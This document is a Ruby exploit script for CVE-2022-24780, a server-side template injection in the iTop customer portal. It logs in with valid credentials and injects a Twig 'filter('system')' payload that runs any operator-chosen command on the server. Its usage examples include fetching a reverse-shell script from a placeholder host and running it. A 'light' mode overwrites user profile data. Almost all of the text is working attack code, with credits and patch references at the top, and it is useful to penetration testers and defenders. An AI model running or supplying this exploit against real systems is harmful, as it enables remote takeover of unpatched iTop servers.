iTop Remote Command Execution

`#!/usr/bin/env ruby  
  
# Exploit  
## Title: iTop < 2.7.6 - (Authenticated) Remote command execution  
## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)  
## Author website: https://pwn.by/noraj/  
## Exploit source: https://github.com/Acceis/exploit-CVE-2022-24780  
## Date: 2022-05-20  
## Vendor Homepage: https://www.combodo.com/itop  
## Software Link: https://github.com/Combodo/iTop/archive/refs/tags/2.7.5.tar.gz  
## Version: 2.x < 2.7.6 and 3.x.x-beta < 3.0.0  
## Tested on: iTop version 2.7.4 (Ubuntu 18.04.4 LTS - 7.3.28)  
  
# Vulnerability  
## Discoverer: Markus KRELL  
## Date: 2021-10-04  
## Discoverer website: https://markus-krell.de/  
## Discovered on iTop 2.7.4-7194 and 3.0.0-beta-7312  
## Title: Server-Side Template Injection inside customer Portal  
## CVE: CVE-2022-24780  
## CWE: CWE-94, CWE-1336  
## Patch:  
## - https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b  
## - https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305  
## - https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3  
## References:  
## - https://nvd.nist.gov/vuln/detail/CVE-2022-24780  
## - https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54  
## - https://markus-krell.de/itop-template-injection-inside-customer-portal/  
  
require 'httpx'  
require 'docopt'  
require 'nokogiri'  
  
doc = <<~DOCOPT  
iTop < 2.7.6 - (Authenticated) Remote command execution  
  
Usage:  
#{__FILE__} full <url> <username> <password> <cmd> [--debug]  
#{__FILE__} light <url> <username> <password> <cmd> [--debug]  
#{__FILE__} -h | --help  
  
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information  
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function  
  
Options:  
<url> Root URL (base path) including HTTP scheme, port and root folder  
<username> iTop portal username  
<password> iTop portal user password  
<cmd> Command to execute on the target  
--debug Display arguments  
-h, --help Show this screen  
  
Examples:  
#{__FILE__} full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'  
#{__FILE__} light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'  
DOCOPT  
  
  
def login(root_url, user, pass, http)  
login_url = "#{root_url}/pages/UI.php"  
params = {  
'auth_user' => user,  
'auth_pwd' => pass,  
'login_mode' => 'form',  
'loginop' => 'login'  
}  
  
http.post(login_url, form: params).body.to_s  
end  
  
def login_watir(root_url, user, pass, browser)  
login_url = "#{root_url}/pages/UI.php"  
browser.goto login_url  
  
browser.text_field(id: 'user').set(user)  
browser.text_field(id: 'pwd').set(pass)  
  
browser.button(value: 'Enter iTop').click  
end  
  
def fetch_form(root_url, http)  
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"  
  
# Fetch and parse HTML document  
doc = Nokogiri.HTML5(http.get(profile_url).body.to_s)  
action = doc.css('form').first['action']  
transaction_id = doc.css('input[name="transaction_id"]').first['value']  
form_id = doc.css('form').first['id']  
# doesn't work because it's populated with javascript, we'll need watir for that  
#phone = doc.css('input[id^=field_phone]').first['value']  
#location = doc.css('select[id^=field_location_id] option[selected]').first['value']  
#function = doc.css('input[id^=field_function]').first['value']  
return {action: action, tid: transaction_id, fid: form_id}  
end  
  
def exploit(root_url, cmd, http, browser)  
form_data = fetch_form(root_url, http)  
vuln_url = "#{root_url}#{form_data[:action]}"  
user_info = browser.nil? ? {phone: '', location: '', function: ''} : fetch_form_js(root_url, browser)  
params = {  
'operation' => 'submit',  
'stimulus_code' => '',  
'transaction_id' => form_data[:tid],  
# source data already escapes backslashes and double quotes for JSON  
# so \ -> \\ and " -> \"  
# but we need to esacpe backslash once for Ruby too because we need an interpolated string  
# so \ -> \\ -> \\\\ and " -> \\"  
'formmanager_class' => 'Combodo\iTop\Portal\Form\ObjectFormManager',  
'formmanager_data' => %Q^{"id":"#{form_data[:fid]}","transaction_id":"#{form_data[:tid]}","formmanager_class":"Combodo\\\\iTop\\\\Portal\\\\Form\\\\ObjectFormManager","formrenderer_class":"Combodo\\\\iTop\\\\Renderer\\\\Bootstrap\\\\BsFormRenderer","formrenderer_endpoint":"#{form_data[:action]}","formobject_class":"Person","formobject_id":"1","formmode":"edit","formactionrulestoken":"","formproperties":{"id":"default-user-profile","type":"custom_list","fields":[],"layout":{"type":"twig","content":"<!-- data-field-id attribute must be an attribute code of the class --><!-- data-field-flags attribute contains flags among read_only/hidden/mandatory/must_prompt/must_change --><div class=\\"form_field\\" data-field-id=\\"first_name{{['#{cmd}']|filter('system')}}\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"name\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"org_id\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"email\\" data-field-flags=\\"read_only\\"></div><div class=\\"form_field\\" data-field-id=\\"phone\\"></div><div class=\\"form_field\\" data-field-id=\\"location_id\\"></div><div class=\\"form_field\\" data-field-id=\\"function\\"></div><div class=\\"form_field\\" data-field-id=\\"manager_id\\" data-field-flags=\\"read_only\\"></div>"}}}^,  
'current_values[phone]' => user_info[:phone],  
'current_values[location_id]' => user_info[:location],  
'current_values[function]' => user_info[:function]  
}  
  
http.post(vuln_url, form: params).body.to_s  
end  
  
def fetch_form_js(root_url, browser)  
# those values can't be fetched with nokogiri alone sicne they are populated using javascript  
profile_url = "#{root_url}/pages/exec.php/user?exec_module=itop-portal-base&exec_page=index.php&portal_id=itop-portal"  
browser.goto profile_url  
phone = browser.text_field(name: 'phone').value  
location = browser.select(name: 'location_id').selected_options.first.value  
function = browser.text_field(name: 'function').value  
  
return {phone: phone, location: location, function: function}  
end  
  
begin  
args = Docopt.docopt(doc)  
pp args if args['--debug']  
  
http = HTTPX.plugin(:cookies)  
login(args['<url>'], args['<username>'], args['<password>'], http)  
  
if args['full']  
require 'watir'  
require 'webdrivers'  
  
b = Watir::Browser.new :firefox  
login_watir(args['<url>'], args['<username>'], args['<password>'], b)  
elsif args['light']  
b = nil  
end  
  
exploit(args['<url>'], args['<cmd>'], http, b)  
rescue Docopt::Exit => e  
puts e.message  
end  
`